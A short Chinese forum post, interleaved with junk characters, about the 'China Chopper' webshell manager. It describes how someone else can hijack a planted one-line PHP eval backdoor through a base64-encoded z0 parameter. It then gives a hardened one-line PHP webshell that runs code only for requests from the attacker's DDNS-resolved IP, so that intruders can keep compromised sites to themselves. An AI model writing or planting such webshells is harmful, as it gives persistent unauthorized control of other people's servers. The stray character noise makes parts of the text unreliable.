今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞6 x8 b( I8 n# ?0 ]4 d5 J
2 t/ e3 D' n% U# e- r2 |
就算你设置了密码,使用了eval($_REQUEST['moyo']);
9 e/ J: s& \! K1 L$ F
$ i+ d& |, [8 e; y3 A7 A但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门$ X9 u S' J! t, B9 c
6 |& b. [3 J. M. N
因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0])); D+ i$ J) g% F8 J: y) z, {
& ?9 Y3 G, a( q! p c4 _! X直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了
: k6 v. {& V. o/ |$ l0 l$ F
" A; U0 Y% o# ^! c$ Z不知道是设计缺陷还是故意留的后门
# h! h" V6 @# N6 \+ A$ @0 j# I0 H5 n; y# L$ V# d9 W& X
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
! M u' p. B; h, B) U
& {" [! |8 j) F& F0 i9 e' `+ O本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org6 U$ h" l5 Z$ N, |0 v- G% U: ~
% k" A0 R, j$ s, _
然后一句话后门这样写
' |( x; I2 |8 ?$ J( M1 X2 v# w
6 {; w: U0 A( X" g2 G% y, M# m/ p0 n<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>8 H8 I( k1 J/ h$ f/ w3 Z& Q
这样就可以让一句话后门只允许自己的电脑连接了
) i2 B) `# f2 J* I) O
2 U) L" x9 c9 a0 I |